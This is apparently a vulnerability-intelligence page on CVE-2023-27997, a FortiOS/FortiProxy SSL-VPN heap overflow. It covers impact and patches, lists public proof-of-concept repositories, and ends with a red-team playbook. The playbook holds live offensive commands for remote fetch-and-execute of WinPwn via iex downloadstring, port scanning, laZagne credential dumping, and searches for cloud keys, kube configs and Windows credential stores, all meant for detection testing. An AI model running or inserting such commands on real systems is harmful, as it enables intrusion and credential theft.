CVE-2023-27997
Overview
This vulnerability is a heap-based buffer overflow caused by improper bounds checking in the SSL-VPN component of Fortinet FortiOS and FortiProxy products. Specifically, crafted requests trigger memory corruption in the SSL-VPN processing logic, leading to overwriting of heap memory. The flaw affects multiple FortiOS versions including 7.2.4 and below, 7.0.11 and below, 6.4.12 and below, 6.0.16 and below, as well as FortiProxy versions 7.2.3 and below, 7.0.9 and below, 2.0.12 and below, 1.2 all versions, and 1.1 all versions.
Vulnerability Description
A heap-based buffer overflow vulnerability [CWE-122] in FortiOS version 7.2.4 and below, version 7.0.11 and below, version 6.4.12 and below, version 6.0.16 and below and FortiProxy version 7.2.3 and below, version 7.0.9 and below, version 2.0.12 and below, version 1.2 all versions, version 1.1 all versions SSL-VPN may allow a remote attacker to execute arbitrary code or commands via specifically crafted requests.
Impact
An attacker can remotely execute arbitrary code or commands on affected FortiOS and FortiProxy devices without authentication or user interaction. This enables full system compromise, allowing unauthorized control over network security infrastructure. Consequences include potential data breaches, disruption of VPN services, and lateral movement within the victim's network environment, severely impacting organizational security posture.
Solution
Fortinet has released patches addressing this vulnerability in FortiOS versions 7.2.5, 7.0.12, 6.4.13, and 6.0.17, as well as FortiProxy versions 7.2.4, 7.0.10, and 2.0.13. Administrators should apply these updates promptly. Detailed patch instructions and advisory information are available at https://fortiguard.com/psirt/FG-IR-23-097. No alternative workarounds are provided by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (23)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
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Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
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Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
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Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
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Fortinet | Fortiproxy | All |
cpe:2.3:a:fortinet:fortiproxy:*:*:*:*:*:*:*:*
|
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Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
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Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
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Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
|
|
Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
|
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Fortinet | Fortios | All |
cpe:2.3:o:fortinet:fortios:*:*:*:*:*:*:*:*
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Fortinet | Fortios | 6.0.10 |
cpe:2.3:o:fortinet:fortios:6.0.10:*:*:*:*:*:*:*
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Fortinet | Fortios | 6.2.4 |
cpe:2.3:o:fortinet:fortios:6.2.4:*:*:*:*:*:*:*
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Fortinet | Fortios | 6.2.6 |
cpe:2.3:o:fortinet:fortios:6.2.6:*:*:*:*:*:*:*
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Fortinet | Fortios | 6.2.7 |
cpe:2.3:o:fortinet:fortios:6.2.7:*:*:*:*:*:*:*
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Fortinet | Fortios | 6.4.2 |
cpe:2.3:o:fortinet:fortios:6.4.2:*:*:*:*:*:*:*
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Fortinet | Fortios | 6.4.6 |
cpe:2.3:o:fortinet:fortios:6.4.6:*:*:*:*:*:*:*
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Fortinet | Fortios | 6.4.8 |
cpe:2.3:o:fortinet:fortios:6.4.8:*:*:*:*:*:*:*
|
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Fortinet | Fortios | 6.4.10 |
cpe:2.3:o:fortinet:fortios:6.4.10:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (14)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
BishopFox/CVE-2023-27997-check
Safely detect whether a FortiGate SSL VPN instance is vulnerable to CVE-2023-27997 based on response timing
|
BishopFox | 134 | 24 | 2023-06-16 | View |
|
lexfo/xortigate-cve-2023-27997
xortigate-cve-2023-27997
|
lexfo | 63 | 13 | 2023-10-12 | View |
|
rio128128/CVE-2023-27997-POC
POC FortiOS SSL-VPN buffer overflow vulnerability
|
rio128128 | 27 | 15 | 2023-06-16 | View |
|
delsploit/CVE-2023-27997
|
delsploit | 9 | 0 | 2023-10-12 | View |
|
TechinsightsPro/ShodanFortiOS
Search vulnerable FortiOS devices via Shodan (CVE-2023-27997)
|
TechinsightsPro | 2 | 2 | 2023-07-11 | View |
|
imbas007/CVE-2023-27997-Check
|
imbas007 | 1 | 2 | 2023-06-22 | View |
|
puckiestyle/cve-2023-27997
|
puckiestyle | 0 | 2 | 2023-06-23 | View |
|
node011/CVE-2023-27997-POC
Fortigate SSL VPN buffer overflow exploit
|
node011 | 0 | 2 | 2024-11-14 | View |
|
abraxas/Fortigate-SSL-VPN-Exploit-Kit
The FortiGate SSL-VPN pot of gold. CVE-2024-21762 and CVE-2023-27997. 79 working exploit clients. 53 hardware SKUs. 55 ...
|
abraxas | 1 | 0 | 2026-09-01 | View |
|
onurkerembozkurt/fgt-cve-2023-27997-exploit
FortiGate SSL-VPN CVE-2023-27997 Exploit PoC Script with ROP Chain
|
onurkerembozkurt | 0 | 1 | 2025-04-18 | View |
|
Vampsecure-Labs/vamp-forticheck
VampSecure Labs: FortiOS CVE scanner (CVE-2018-13379, CVE-2022-40684, CVE-2023-27997, CVE-2024-21762)
|
Vampsecure-Labs | 0 | 0 | 2026-07-31 | View |
|
belky-me/vamp-forticheck
VampSecure Labs: FortiOS CVE scanner (CVE-2018-13379, CVE-2022-40684, CVE-2023-27997, CVE-2024-21762)
|
belky-me | 0 | 0 | 2026-07-31 | View |
|
george1-adel/CVE-2023-27997
|
george1-adel | 0 | 0 | 2026-04-06 | View |
|
Cyb3rEnthusiast/CVE-2023-27997
How to get access via CVE-2022-27997
|
Cyb3rEnthusiast | 0 | 0 | 2023-09-03 | View |
Ransomware Groups 1
Threat Feed
34 eventsSighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
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Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Proof-of-concept code is publicly available for this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
49 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
& "#{rustscan_path}" -a #{host_to_scan} --greppable -p #{port_list}
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
for filename in #{filenames}; do
find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-27997 |
| fortiguard.com |
GitHub CVE
|
https://fortiguard.com/psirt/FG-IR-23-097 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-27997 |